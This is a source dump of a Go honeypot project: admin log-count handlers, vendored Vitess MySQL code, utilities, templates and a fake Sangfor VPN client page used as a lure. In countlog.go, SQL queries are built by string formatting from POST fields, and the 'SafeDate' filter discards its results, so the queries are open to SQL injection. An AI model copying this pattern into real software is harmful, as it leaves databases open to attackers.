b=a.result;"-2"===b||"-3"===b?checkEcAgentInstallLater():location.href="/"},error:function(){checkEcAgentInstallLater()}})}function checkEcAgentInstallLater(){setTimeout(function(){checkEcAgentInstall()},6e3)}var baseLink="http://download.sangfor.com.cn/download/product/sslvpn/pkg/",g_install_device={mac:{link:baseLink+"mac_01/EasyConnect.dmg"},linux:{link:{deb_x86:baseLink+"linux_01/EasyConnect_x86.deb",deb_x64:baseLink+"linux_01/EasyConnect_x64.deb",rpm_x86:baseLink+"linux_01/EasyConnect_x86.rpm",rpm_x64:baseLink+"linux_01/EasyConnect_x64.rpm"}}};$(function(){initEvent()});
--------------------------------------------------------------------------------
/honeyPot/utils/mysql/gtid.go:
--------------------------------------------------------------------------------
1 | /*
2 | Copyright 2017 Google Inc.
3 |
4 | Licensed under the Apache License, Version 2.0 (the "License");
5 | you may not use this file except in compliance with the License.
6 | You may obtain a copy of the License at
7 |
8 | http://www.apache.org/licenses/LICENSE-2.0
9 |
10 | Unless required by applicable law or agreedto in writing, software
11 | distributed under the License is distributed on an "AS IS" BASIS,
12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13 | See the License for the specific language governing permissions and
14 | limitations under the License.
15 | */
16 |
17 | package mysql
18 |
19 | import (
20 | "fmt"
21 | "strings"
22 |
23 | "vitess.io/vitess/go/vt/proto/vtrpc"
24 | "vitess.io/vitess/go/vt/vterrors"
25 | )
26 |
27 | // GTID represents a Global Transaction ID, also known as Transaction Group ID.
28 | // Each flavor of MySQL has its own format for the GTID. This interface is used
29 | // along with various MysqlFlavor implementations to abstract the differences.
30 | //
31 | // Types that implement GTID should use a non-pointer receiver. This ensures
32 | // that comparing GTID interface values with == has the expected semantics.
33 | type GTID interface {
34 | // String returns the canonical printed form of the GTID as expected by a
35 | // particular flavor of MySQL.
36 | String() string
37 |
38 | // Flavor returns the key under which the corresponding GTID parser function
39 | // is registered in the gtidParsers map.
40 | Flavor() string
41 |
42 | // SourceServer returns the ID of the server that generated the transaction.
43 | SourceServer() interface{}
44 |
45 | // SequenceNumber returns the ID number that increases with each transaction.
46 | // It is only valid to compare the sequence numbers of two GTIDs if they have
47 | // the same domain value.
48 | SequenceNumber() interface{}
49 |
50 | // SequenceDomain returns the ID of the domain within which two sequence
51 | // numbers can be meaningfully compared.
52 | SequenceDomain() interface{}
53 |
54 | // GTIDSet returns a GTIDSet of the same flavor as this GTID, containing only
55 | // this GTID.
56 | GTIDSet() GTIDSet
57 | }
58 |
59 | // gtidParsers maps flavor names to parser functions.
60 | var gtidParsers = make(map[string]func(string) (GTID, error))
61 |
62 | // ParseGTID calls the GTID parser for the specified flavor.
63 | func ParseGTID(flavor, value string) (GTID, error) {
64 | parser := gtidParsers[flavor]
65 | if parser == nil {
66 | return nil, vterrors.Errorf(vtrpc.Code_INTERNAL, "parse error: unknown GTID flavor %#v", flavor)
67 | }
68 | return parser(value)
69 | }
70 |
71 | // MustParseGTID calls ParseGTID and panics on error.
72 | func MustParseGTID(flavor, value string) GTID {
73 | gtid, err := ParseGTID(flavor, value)
74 | if err != nil {
75 | panic(err)
76 | }
77 | return gtid
78 | }
79 |
80 | // EncodeGTID returns a string that contains both the flavor and value of the
81 | // GTID, so that the correct parser can be selected when that string is passed
82 | // to DecodeGTID.
83 | func EncodeGTID(gtid GTID) string {
84 | if gtid == nil {
85 | return ""
86 | }
87 |
88 | return fmt.Sprintf("%s/%s", gtid.Flavor(), gtid.String())
89 | }
90 |
91 | // DecodeGTID converts a string in the format returned by EncodeGTID back into
92 | // a GTID interface value with the correct underlying flavor.
93 | func DecodeGTID(s string) (GTID, error) {
94 | if s == "" {
95 | return nil, nil
96 | }
97 |
98 | parts := strings.SplitN(s, "/", 2)
99 | if len(parts) != 2 {
100 | // There is no flavor. Try looking for a default parser.
101 | return ParseGTID("", s)
102 | }
103 | return ParseGTID(parts[0], parts[1])
104 | }
105 |
106 | // MustDecodeGTID calls DecodeGTID and panics on error.
107 | func MustDecodeGTID(s string) GTID {
108 | gtid, err := DecodeGTID(s)
109 | if err != nil {
110 | panic(err)
111 | }
112 | return gtid
113 | }
114 |
--------------------------------------------------------------------------------
/honeyPot/utils/mysql/mysql56_gtid.go:
--------------------------------------------------------------------------------
1 | /*
2 | Copyright 2017 Google Inc.
3 |
4 | Licensed under the Apache License, Version 2.0 (the "License");
5 | you may not use this file except in compliance with the License.
6 | You may obtain a copy of the License at
7 |
8 | http://www.apache.org/licenses/LICENSE-2.0
9 |
10 | Unless required by applicable law or agreedto in writing, software
11 | distributed under the License is distributed on an "AS IS" BASIS,
12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13 | See the License for the specific language governing permissions and
14 | limitations under the License.
15 | */
16 |
17 | package mysql
18 |
19 | import (
20 | "encoding/hex"
21 | "fmt"
22 | "strconv"
23 | "strings"
24 |
25 | "vitess.io/vitess/go/vt/proto/vtrpc"
26 | "vitess.io/vitess/go/vt/vterrors"
27 | )
28 |
29 | const mysql56FlavorID = "MySQL56"
30 |
31 | // parseMysql56GTID is registered as a GTID parser.
32 | func parseMysql56GTID(s string) (GTID, error) {
33 | // Split into parts.
34 | parts := strings.Split(s, ":")
35 | if len(parts) != 2 {
36 | return nil, vterrors.Errorf(vtrpc.Code_INTERNAL, "invalid MySQL 5.6 GTID (%v): expecting UUID:Sequence", s)
37 | }
38 |
39 | // Parse Server ID.
40 | sid, err := ParseSID(parts[0])
41 | if err != nil {
42 | return nil, vterrors.Wrapf(err, "invalid MySQL 5.6 GTID Server ID (%v)", parts[0])
43 | }
44 |
45 | // Parse Sequence number.
46 | seq, err := strconv.ParseInt(parts[1], 10, 64)
47 | if err != nil {
48 | return nil, vterrors.Wrapf(err, "invalid MySQL 5.6 GTID Sequence number (%v)", parts[1])
49 | }
50 |
51 | return Mysql56GTID{Server: sid, Sequence: seq}, nil
52 | }
53 |
54 | // SID is the 16-byte unique ID of a MySQL 5.6 server.
55 | type SID [16]byte
56 |
57 | // String prints an SID in the form used by MySQL 5.6.
58 | func (sid SID) String() string {
59 | dst := []byte("xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx")
60 | hex.Encode(dst, sid[:4])
61 | hex.Encode(dst[9:], sid[4:6])
62 | hex.Encode(dst[14:], sid[6:8])
63 | hex.Encode(dst[19:], sid[8:10])
64 | hex.Encode(dst[24:], sid[10:16])
65 | return string(dst)
66 | }
67 |
68 | // ParseSID parses an SID in the form used by MySQL 5.6.
69 | func ParseSID(s string) (sid SID, err error) {
70 | if len(s) != 36 || s[8] != '-' || s[13] != '-' || s[18] != '-' || s[23] != '-' {
71 | return sid, vterrors.Errorf(vtrpc.Code_INTERNAL, "invalid MySQL 5.6 SID %q", s)
72 | }
73 |
74 | // Drop the dashes so we can just check the error of Decode once.
75 | b := make([]byte, 0, 32)
76 | b = append(b, s[:8]...)
77 | b = append(b, s[9:13]...)
78 | b = append(b, s[14:18]...)
79 | b = append(b, s[19:23]...)
80 | b = append(b, s[24:]...)
81 |
82 | if _, err := hex.Decode(sid[:], b); err != nil {
83 | return sid, vterrors.Wrapf(err, "invalid MySQL 5.6 SID %q", s)
84 | }
85 | return sid, nil
86 | }
87 |
88 | // Mysql56GTID implements GTID
89 | type Mysql56GTID struct {
90 | // Server is the SID of the server that originally committed the transaction.
91 | Server SID
92 | // Sequence is the sequence number of the transaction within a given Server's
93 | // scope.
94 | Sequence int64
95 | }
96 |
97 | // String implements GTID.String().
98 | func (gtid Mysql56GTID) String() string {
99 | return fmt.Sprintf("%s:%d", gtid.Server, gtid.Sequence)
100 | }
101 |
102 | // Flavor implements GTID.Flavor().
103 | func (gtid Mysql56GTID) Flavor() string {
104 | return mysql56FlavorID
105 | }
106 |
107 | // SequenceDomain implements GTID.SequenceDomain().
108 | func (gtid Mysql56GTID) SequenceDomain() interface{} {
109 | return nil
110 | }
111 |
112 | // SourceServer implements GTID.SourceServer().
113 | func (gtid Mysql56GTID) SourceServer() interface{} {
114 | return gtid.Server
115 | }
116 |
117 | // SequenceNumber implements GTID.SequenceNumber().
118 | func (gtid Mysql56GTID) SequenceNumber() interface{} {
119 | return gtid.Sequence
120 | }
121 |
122 | // GTIDSet implements GTID.GTIDSet().
123 | func (gtid Mysql56GTID) GTIDSet() GTIDSet {
124 | return Mysql56GTIDSet{}.AddGTID(gtid)
125 | }
126 |
127 | func init() {
128 | gtidParsers[mysql56FlavorID] = parseMysql56GTID
129 | }
130 |
--------------------------------------------------------------------------------
/honeyPot/admin/countlog.go:
--------------------------------------------------------------------------------
1 | package admin
2 |
3 | import (
4 | "database/sql"
5 | "fmt"
6 | "github.com/gin-gonic/gin"
7 | "honeypot/admin/tools"
8 | "net/http"
9 | )
10 |
11 | func CountLog(c *gin.Context) {
12 | islogin := tools.GetSession(c)
13 | starttime := c.PostForm("startDate")
14 | endtime := c.PostForm("endDate")
15 | ip := c.PostForm("ip")
16 | method := c.PostForm("reqmethod")
17 | tablename := c.PostForm("tablename")
18 | if tablename == ""{
19 | tablename = "log"
20 | }
21 | var datanum int
22 | if tools.In(tablename, tools.Config("httplog")) {
23 | datanum = QueryHttpCountLog(tablename, starttime, endtime, ip, method)
24 | }
25 | if tools.In(tablename, tools.Config("nohttplog")) {
26 | datanum = QueryNoHttpCountLog(tablename, starttime, endtime)
27 | }
28 | if islogin {
29 | if c.Request.Method == "POST" {
30 | c.JSON(http.StatusOK, gin.H{
31 | "datanum": datanum,
32 | })
33 | }
34 | }
35 | }
36 |
37 | func QueryHttpCountLog(tablename string, starttime string, endtime string, ip string, method string) (datanum int) {
38 | tools.SafeDate(tablename)
39 | tools.SafeDate(starttime)
40 | tools.SafeDate(endtime)
41 | tools.SafeDate(ip)
42 | tools.SafeDate(method)
43 | db, err := sql.Open("sqlite3", tools.DbPath)
44 | checkErr(err)
45 | // 查询数据
46 | var querystring string
47 | var num int
48 | if tools.In(tablename, tools.Config("httplog")) {
49 | if starttime == "" && endtime == "" && ip == "" && method == "" {
50 | querystring = fmt.Sprintf("SELECT COUNT(1) FROM %s", tablename)
51 | }
52 | if starttime == "" && endtime == "" && ip != "" && method == "" {
53 | querystring = fmt.Sprintf("SELECT COUNT(1) FROM %s WHERE clientIP='%s'", tablename, ip)
54 | }
55 | if starttime == "" && endtime == "" && ip == "" && method != "" {
56 | querystring = fmt.Sprintf("SELECT COUNT(1) FROM %s WHERE reqMethod='%s'", tablename, method)
57 | }
58 | if starttime == "" && endtime == "" && ip != "" && method != "" {
59 | querystring = fmt.Sprintf("SELECT COUNT(1) FROM %s WHERE clientIP='%s' and reqMethod='%s'", tablename, ip, method)
60 | }
61 | if starttime != "" && endtime != "" && ip == "" && method == "" {
62 | querystring = fmt.Sprintf("SELECT COUNT(1) FROM %s WHERE time >='%s' AND Time <='%s'", tablename, starttime, endtime)
63 | }
64 | if starttime != "" && endtime != "" && ip != "" && method != "" {
65 | querystring = fmt.Sprintf("SELECT COUNT(1) FROM %s WHERE time >='%s' AND Time <='%s' AND clientIP='%s' and reqMethod='%s'", tablename, starttime, endtime, ip, method)
66 | }
67 | if starttime != "" && endtime != "" && ip == "" && method != "" {
68 | querystring = fmt.Sprintf("SELECT COUNT(1) FROM %s WHERE time >='%s' AND Time <='%s' AND reqMethod='%s", tablename, starttime, endtime, method)
69 | }
70 | if starttime != "" && endtime != "" && ip != "" && method == "" {
71 | querystring = fmt.Sprintf("SELECT COUNT(1) FROM %s WHERE time >='%s' AND Time <='%s' AND clientIP='%s'", tablename, starttime, endtime, ip)
72 | }
73 | rows, err := db.Query(querystring)
74 | if err != nil {
75 | fmt.Printf("数据库查询数据失败:%s\n", err)
76 | } else {
77 | for rows.Next() {
78 | err = rows.Scan(&num)
79 | if err == nil {
80 | datanum = num
81 | } else {
82 | datanum = 1
83 | }
84 | }
85 | db.Close()
86 | }
87 | }
88 | return datanum
89 | }
90 |
91 | func QueryNoHttpCountLog(tablename string, starttime string, endtime string) (datanum int) {
92 | tools.SafeDate(tablename)
93 | tools.SafeDate(starttime)
94 | tools.SafeDate(endtime)
95 | db, err := sql.Open("sqlite3", tools.DbPath)
96 | checkErr(err)
97 | // 查询数据
98 | var querystring string
99 | var num int
100 | if tools.In(tablename, tools.Config("nohttplog")) {
101 | if starttime == "" && endtime == "" {
102 | querystring = fmt.Sprintf("SELECT COUNT(1) FROM %s", tablename)
103 | }
104 | if starttime != "" && endtime != "" {
105 | querystring = fmt.Sprintf("SELECT COUNT(1) FROM %s WHERE time >='%s' AND Time <='%s'", tablename, starttime, endtime)
106 | }
107 | rows, err := db.Query(querystring)
108 | if err != nil {
109 | fmt.Printf("数据库查询数据失败:%s\n", err)
110 | } else {
111 | for rows.Next() {
112 | err = rows.Scan(&num)
113 | if err == nil {
114 | datanum = num
115 | } else {
116 | datanum = 1
117 | }
118 | }
119 | db.Close()
120 | }
121 | }
122 | return datanum
123 | }
124 |
--------------------------------------------------------------------------------
/honeyPot/admin/tools/utils.go:
--------------------------------------------------------------------------------
1 | package tools
2 |
3 | import (
4 | "bufio"
5 | "crypto/md5"
6 | "encoding/hex"
7 | "fmt"
8 | "github.com/gin-contrib/sessions"
9 | "github.com/gin-gonic/gin"
10 | "io"
11 | "math/rand"
12 | "net/http"
13 | "os"
14 | "regexp"
15 | "strings"
16 | "time"
17 | )
18 |
19 | // GetSession 获取session
20 | func GetSession(c *gin.Context) bool {
21 | session := sessions.Default(c)
22 | session.Options(sessions.Options{MaxAge: 120 * 60})
23 | loginuser := session.Get("secure")
24 | if loginuser == "admin" {
25 | return true
26 | } else {
27 | return false
28 | }
29 | }
30 |
31 | func IndexPage(c *gin.Context) {
32 | c.HTML(http.StatusOK, "nginx.html", nil)
33 | }
34 |
35 | // PageNotFound 404页面全部转到nginx默认页
36 | func PageNotFound(engine *gin.Engine) {
37 | engine.NoRoute(func(c *gin.Context) {
38 | c.HTML(http.StatusNotFound, "404.html", nil)
39 | })
40 | }
41 |
42 | // SafeDate 全局过滤
43 | func SafeDate(s string) {
44 | strings.TrimSpace(s)
45 | strings.Trim(s, "\"")
46 | strings.Trim(s, "'")
47 | strings.Trim(s, "%")
48 | strings.Trim(s, "#")
49 | strings.Trim(s, "(")
50 | strings.Trim(s, ")")
51 | strings.Trim(s, "-")
52 | }
53 |
54 | // In 判断元素是否在数组中
55 | func In(target string, str_array []string) bool {
56 | for _, element := range str_array {
57 | if target == element {
58 | return true
59 | }
60 | }
61 | return false
62 | }
63 |
64 | //生成随机字符串用于后台地址
65 | // Returns an int >= min, < max
66 | func randomInt(min, max int) int {
67 | return min + rand.Intn(max-min)
68 | }
69 |
70 | // Generate a random string of A-Z chars with len = l
71 | func randomString(len int) string {
72 | bytes := make([]byte, len)
73 | for i := 0; i < len; i++ {
74 | bytes[i] = byte(randomInt(97, 122))
75 | }
76 | return string(bytes)
77 | }
78 | func RandomAdminUrl() string {
79 | rand.Seed(time.Now().UnixNano())
80 | return randomString(8)
81 | }
82 |
83 | // Strip 去掉字符串中空格和换行符
84 | func Strip(old_string string) string {
85 | new_string := strings.Replace(old_string, " ", "", -1)
86 | new_string = strings.Replace(new_string, "\n", "", -1)
87 | return new_string
88 | }
89 |
90 | // ZeroToNull 0与空字符串转化
91 | func ZeroToNull(s1 string) string {
92 | if s1 == "0" {
93 | return ""
94 | }
95 | if s1 == "" {
96 | return "0"
97 | }
98 | return s1
99 | }
100 |
101 | /*
102 | 判断文件或文件夹是否存在
103 | 如果返回的错误为nil,说明文件或文件夹存在
104 | 如果返回的错误类型使用os.IsNotExist()判断为true,说明文件或文件夹不存在
105 | 如果返回的错误为其它类型,则不确定是否在存在
106 | */
107 |
108 | func PathExists(path string) (bool, error) {
109 |
110 | _, err := os.Stat(path)
111 | if err == nil {
112 | return true, nil
113 | }
114 | if os.IsNotExist(err) {
115 | return false, nil
116 | }
117 | return false, err
118 | }
119 |
120 | func WriteFile(filename, data string) {
121 | var (
122 | err error
123 | )
124 | // 拿到一个文件对象
125 | // file对象肯定是实现了io.Reader,is.Writer
126 | fileObj, err := os.Create(filename)
127 | if err != nil {
128 | fmt.Println(err)
129 | return
130 | }
131 |
132 | writer := bufio.NewWriter(fileObj)
133 | defer writer.Flush()
134 | defer fileObj.Close()
135 | _, err = writer.WriteString(data)
136 | if err != nil {
137 | fmt.Println(err)
138 | }
139 | }
140 |
141 | // 计算密码复杂度
142 |
143 | const (
144 | levelD = iota
145 | LevelC
146 | LevelB
147 | LevelA
148 | LevelS
149 | )
150 |
151 | func CheckPass(minLength, maxLength, minLevel int, pwd string) bool {
152 | if len(pwd) < minLength {
153 | //fmt.Printf("密码长度必须大于 %d", minLength)
154 | return false
155 | }
156 | if len(pwd) > maxLength {
157 | //fmt.Printf("密码长度必须小于 %d", maxLength)
158 | return false
159 | }
160 |
161 | var level int = levelD
162 | patternList := []string{`[0-9]+`, `[a-z]+`, `[A-Z]+`, `[~!@#$%^&*?_-]+`}
163 | for _, pattern := range patternList {
164 | match, _ := regexp.MatchString(pattern, pwd)
165 | if match {
166 | level++
167 | }
168 | }
169 |
170 | if level < minLevel {
171 | //fmt.Println("密码复杂度太低,必须包含大小写数字和字母")
172 | return false
173 | }
174 | return true
175 | }
176 |
177 | // Md5File 计算文件的hash
178 | func Md5File(filepath string) string {
179 | file, err := os.Open(filepath)
180 | if err != nil {
181 | return ""
182 | }
183 | defer file.Close()
184 |
185 | m := md5.New()
186 | _, err = io.Copy(m, file)
187 | if err != nil {
188 | return ""
189 | }
190 |
191 | return hex.EncodeToString(m.Sum(nil))
192 | }
193 |
194 | func CreateUploadDic() {
195 | dicname := Cwd + string(os.PathSeparator) + "upload"
196 | _, err := os.Stat(dicname);
197 | if os.IsNotExist(err) {
198 | os.Mkdir(dicname, os.FileMode(0660))
199 | os.Chmod(dicname, os.FileMode(0660))
200 | }
201 | _, err = PathExists(dicname)
202 | if err != nil {
203 | fmt.Println("请检查当前用户是否具有创建目录的权限!")
204 | os.Exit(1)
205 | }
206 | }
--------------------------------------------------------------------------------
/honeyPot/admin/html/potconfig.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 | 蜜罐配置
10 |
11 |
12 |
13 |
14 |
15 | {{if eq .res.Configid 1004}}
16 |
36 | {{end}}
37 |
38 | {{if eq .res.Configid 1001}}
39 |
51 | {{end}}
52 |
53 | {{if eq .res.Configid 1003}}
54 |
70 | {{end}}
71 |
72 | {{if eq .res.Configid 1002}}
73 |
89 | {{end}}
90 |
91 |
92 |
93 |
94 |
95 |
96 |
97 |
98 |
99 |
--------------------------------------------------------------------------------
/honeyPot/plugins/vpn/resource/css/installClient.css:
--------------------------------------------------------------------------------
1 | /*2016.6.28 by zsy*/
2 | html,body{
3 | padidng:0;
4 | margin:0;
5 | min-width: 1060px;
6 | }
7 | div,span,ul,li{
8 | padding:0;
9 | margin:0;
10 | }
11 | /*清除浮动*/
12 | .clearfix:after{
13 | content:".";
14 | display:block;
15 | height:0;
16 | clear:both;
17 | visibility:hidden;
18 | }
19 | /*雪碧图*/
20 | .ecSpirit{
21 | background-image: url("../images/ec/ecSpirit.png"/*tpa=https://218.26.12.94/com/images/ec/ecSpirit.png*/);
22 | background-size:506px;
23 | }
24 | /*----------------------------------header------------------------------------*/
25 | .header{
26 | height:44px;
27 | min-width: 1060px;
28 | }
29 | /*----------------------------------navBar--------------------------------*/
30 | .nav{
31 | height:111px;
32 | background: #4489de;
33 | text-align: center;
34 | margin-bottom: 20px;
35 | }
36 | #navBar{
37 | width:1060px;
38 | height:111px;
39 | margin:0 auto;
40 | position: relative;
41 | text-align: center;
42 | color:#fff;
43 | cursor: pointer;
44 | -webkit-tap-highlight-color:rgba(0,0,0,0);
45 | }
46 | .deviceBtn{
47 | position:relative;
48 | /*top:-4px;*/
49 | display: inline-block;
50 | width:212px;
51 | height:71px;
52 | padding:20px 0;
53 | float:left;
54 | text-align:center;
55 | color:#fff;
56 | background: #4589DE;
57 | }
58 | #navAnim{
59 | position: absolute;
60 | box-sizing: border-box;
61 | width:212px;
62 | height:0;
63 | border-top:3px solid #4489de;
64 | border-bottom:3px solid #4489de;
65 | top:-4px;
66 | left:0;
67 | }
68 | #navBar .clickedBtn{
69 | -webkit-tap-highlight-color:rgba(0,0,0,0);
70 | }
71 | #navBar .deviceName{
72 | width:100%;
73 | height:20px;
74 | line-height:20px;
75 | font:16px 'Cambria';
76 | }
77 | .activeBtn{
78 | color:#4589DE;
79 | background: #fff;
80 | }
81 | /*-----------选中样式---分开写为了兼容低版本firefox不支持background-position-x/y分别设置------*/
82 | .windowsBtn span{
83 | background-position:0 -38px;
84 | }
85 | .macBtn span{
86 | background-position:-56px -38px;
87 | }
88 | .linuxBtn span{
89 | background-position:-112px -38px;
90 | }
91 | .androidBtn span{
92 | background-position:-169px -38px;
93 | }
94 | .iosBtn span{
95 | background-position:-224px -38px;
96 | }
97 | .windowsActiveBtn span{
98 | background-position:0 -94px;
99 | }
100 | .macActiveBtn span{
101 | background-position:-56px -94px;
102 | }
103 | .linuxActiveBtn span{
104 | background-position:-112px -94px;
105 | }
106 | .androidActiveBtn span{
107 | background-position:-169px -94px;
108 | }
109 | .iosActiveBtn span{
110 | background-position:-224px -94px;
111 | }
112 | /*----------------------------main------------------------------*/
113 | .mainWrap{
114 | width:100%;
115 | margin-top: 20px;
116 | text-align: center;
117 | }
118 | .main{
119 | width:1060px;
120 | height:550px;
121 | margin: 0 auto;
122 | overflow:hidden;
123 | position:relative;
124 | }
125 | .ulbox{
126 | width:5300px;
127 | position: absolute;
128 | left:0;
129 | }
130 | .ulbox ul{
131 | list-style: none;
132 | }
133 | .ulbox ul li{
134 | width:1060px;
135 | float:left;
136 | }
137 | /*-------------------------内容块左边------------------------*/
138 | .mainLeft{
139 | position: relative;
140 | display:inline-block;
141 | float: left;
142 | width:600px;
143 | }
144 | /*-------------------------内容块右边------------------------*/
145 | .mainRight{
146 | box-sizing: border-box;
147 | width:460px;
148 | display:inline-block;
149 | float:right;
150 | padding:140px 0 0 0;
151 | text-align: left;
152 | }
153 | .mainRight .title{
154 | font:bold 30px 'Cambria';
155 | margin:5px 0;
156 | }
157 | .mainRight .title span:nth-child(1){
158 | font-weight:normal;
159 | }
160 | .mainRight .subTitle{
161 | max-width: 470px;
162 | font:lighter 18px '微软雅黑';
163 | color:#5c5c5c;
164 | }
165 | .mainRight .downBtn{
166 | width:300px;
167 | display: block;
168 | height:36px;
169 | line-height:60px;
170 | border-radius:5px;
171 | margin:32px 0 20px 0;
172 | padding:15px 0;
173 | text-decoration:none;
174 | background:#99CC00;
175 | text-align:center;
176 | font:25px 'Microsoft YaHei';
177 | white-spacing:no-wrap;
178 | color:#fff;
179 | cursor:pointer;
180 | box-shadow: 1px 1px 5px 1px rgba(0,0,0,0.3);
181 | }
182 | .mainRight .downBtn:hover{
183 | background: #add633;
184 | box-shadow: 1px 1px 5px 1px rgba(0,0,0,0.25);
185 | }
186 | .mainRight .downBtn:active{
187 | background: #8abc00;
188 | }
189 | .mainRight .info{
190 | color:#a5a5a5;
191 | font:lighter 15px '微软雅黑';
192 | }
193 | .mainRight .help, .mainRight .tipsInfo{
194 | margin:22px 0;
195 | color:#a5a5a5;
196 | font-size: 14px;
197 | font-family: "Microsoft Yahei", sans-serif;
198 | }
199 | .mainRight .help a{
200 | color:#4489de;
201 | }
202 | .mainRight #linuxVersion span,.mainRight #androidVersion span{
203 | color:#a5a5a5;
204 | line-height: 17px;
205 | font-size: 15px;
206 | }
207 | .mainRight #linuxVersion a,.mainRight #androidVersion a{
208 | color:#4489DE;
209 | text-decoration: none;
210 | line-height: 21px;
211 | font-size: 13px;
212 | }
213 | .mainRight #linuxVersion a:hover,.mainRight #androidVersion a:hover{
214 | text-decoration:underline;
215 | }
--------------------------------------------------------------------------------
/honeyPot/utils/mysql/streaming_query.go:
--------------------------------------------------------------------------------
1 | /*
2 | Copyright 2017 Google Inc.
3 |
4 | Licensed under the Apache License, Version 2.0 (the "License");
5 | you may not use this file except in compliance with the License.
6 | You may obtain a copy of the License at
7 |
8 | http://www.apache.org/licenses/LICENSE-2.0
9 |
10 | Unless required by applicable law or agreedto in writing, software
11 | distributed under the License is distributed on an "AS IS" BASIS,
12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13 | See the License for the specific language governing permissions and
14 | limitations under the License.
15 | */
16 |
17 | package mysql
18 |
19 | import (
20 | "vitess.io/vitess/go/sqltypes"
21 |
22 | querypb "vitess.io/vitess/go/vt/proto/query"
23 | )
24 |
25 | // This file contains the methods needed to execute streaming queries.
26 |
27 | // ExecuteStreamFetch starts a streaming query. Fields(), FetchNext() and
28 | // CloseResult() can be called once this is successful.
29 | // Returns a SQLError.
30 | func (c *Conn) ExecuteStreamFetch(query string) (err error) {
31 | defer func() {
32 | if err != nil {
33 | if sqlerr, ok := err.(*SQLError); ok {
34 | sqlerr.Query = query
35 | }
36 | }
37 | }()
38 |
39 | // Sanity check.
40 | if c.fields != nil {
41 | return NewSQLError(CRCommandsOutOfSync, SSUnknownSQLState, "streaming query already in progress")
42 | }
43 |
44 | // Send the query as a COM_QUERY packet.
45 | if err := c.WriteComQuery(query); err != nil {
46 | return err
47 | }
48 |
49 | // Get the result.
50 | _, _, colNumber, _, _, err := c.readComQueryResponse()
51 | if err != nil {
52 | return err
53 | }
54 | if colNumber == 0 {
55 | // OK packet, means no results. Save an empty Fields array.
56 | c.fields = make([]*querypb.Field, 0)
57 | return nil
58 | }
59 |
60 | // Read the fields, save them.
61 | fields := make([]querypb.Field, colNumber)
62 | fieldsPointers := make([]*querypb.Field, colNumber)
63 |
64 | // Read column headers. One packet per column.
65 | // Build the fields.
66 | for i := 0; i < colNumber; i++ {
67 | fieldsPointers[i] = &fields[i]
68 | if err := c.readColumnDefinition(fieldsPointers[i], i); err != nil {
69 | return err
70 | }
71 | }
72 |
73 | // Read the EOF after the fields if necessary.
74 | if c.Capabilities&CapabilityClientDeprecateEOF == 0 {
75 | // EOF is only present here if it's not deprecated.
76 | data, err := c.readEphemeralPacket()
77 | if err != nil {
78 | return NewSQLError(CRServerLost, SSUnknownSQLState, "%v", err)
79 | }
80 | defer c.recycleReadPacket()
81 | if isEOFPacket(data) {
82 | // This is what we expect.
83 | // Warnings and status flags are ignored.
84 | // goto: end
85 | } else if isErrorPacket(data) {
86 | return ParseErrorPacket(data)
87 | } else {
88 | return NewSQLError(CRCommandsOutOfSync, SSUnknownSQLState, "unexpected packet after fields: %v", data)
89 | }
90 | }
91 |
92 | c.fields = fieldsPointers
93 | return nil
94 | }
95 |
96 | // Fields returns the fields for an ongoing streaming query.
97 | func (c *Conn) Fields() ([]*querypb.Field, error) {
98 | if c.fields == nil {
99 | return nil, NewSQLError(CRCommandsOutOfSync, SSUnknownSQLState, "no streaming query in progress")
100 | }
101 | if len(c.fields) == 0 {
102 | // The query returned an empty field list.
103 | return nil, nil
104 | }
105 | return c.fields, nil
106 | }
107 |
108 | // FetchNext returns the next result for an ongoing streaming query.
109 | // It returns (nil, nil) if there is nothing more to read.
110 | func (c *Conn) FetchNext() ([]sqltypes.Value, error) {
111 | if c.fields == nil {
112 | // We are already done, and the result was closed.
113 | return nil, NewSQLError(CRCommandsOutOfSync, SSUnknownSQLState, "no streaming query in progress")
114 | }
115 |
116 | if len(c.fields) == 0 {
117 | // We received no fields, so there is no data.
118 | return nil, nil
119 | }
120 |
121 | data, err := c.ReadPacket()
122 | if err != nil {
123 | return nil, err
124 | }
125 |
126 | if isEOFPacket(data) {
127 | // Warnings and status flags are ignored.
128 | c.fields = nil
129 | return nil, nil
130 | } else if isErrorPacket(data) {
131 | // Error packet.
132 | return nil, ParseErrorPacket(data)
133 | }
134 |
135 | // Regular row.
136 | return c.parseRow(data, c.fields)
137 | }
138 |
139 | // CloseResult can be used to terminate a streaming query
140 | // early. It just drains the remaining values.
141 | func (c *Conn) CloseResult() {
142 | for c.fields != nil {
143 | rows, err := c.FetchNext()
144 | if err != nil || rows == nil {
145 | // We either got an error, or got the last result.
146 | c.fields = nil
147 | }
148 | }
149 | }
150 |
--------------------------------------------------------------------------------
/honeyPot/admin/potcontrol.go:
--------------------------------------------------------------------------------
1 | package admin
2 |
3 | import (
4 | "context"
5 | "database/sql"
6 | "fmt"
7 | "github.com/gin-gonic/gin"
8 | "golang.org/x/sync/errgroup"
9 | "honeypot/admin/tools"
10 | "honeypot/plugins/burpsuite"
11 | "honeypot/plugins/goby"
12 | "honeypot/plugins/mysql"
13 | "honeypot/plugins/vpn"
14 | "net/http"
15 | "strconv"
16 | "strings"
17 | "time"
18 | )
19 |
20 | var (
21 | G errgroup.Group
22 | GobyPot *http.Server
23 | VpnPot *http.Server
24 | BurpPot *http.Server
25 | )
26 |
27 | func PotControl(c *gin.Context){
28 | islogin := tools.GetSession(c)
29 | if islogin {
30 | if c.Request.Method == "POST" {
31 | configid, _ := strconv.Atoi(tools.Strip(c.PostForm("configid")))
32 | state, _ := strconv.Atoi(c.PostForm("state"))
33 |
34 | //确认状态一致
35 | if 0 == checkState(configid, state) {
36 | //执行实际的关闭开启操作
37 | code := changePot(configid, state)
38 |
39 | if code == 0 {
40 | code = changeState(configid, state)
41 | c.JSON(http.StatusOK, gin.H{"code": code})
42 | return
43 | }
44 | }
45 |
46 | c.JSON(http.StatusOK, gin.H{"code": 5})
47 | }
48 | }else {
49 | c.HTML(http.StatusOK, "login.html", nil)
50 | }
51 | }
52 |
53 | //检查蜜罐状态,port不为0且状态一致
54 | func checkState(configid, state int) (code int) {
55 | db, err := sql.Open("sqlite3", tools.DbPath)
56 | checkErr(err)
57 | defer db.Close()
58 | code = 1
59 |
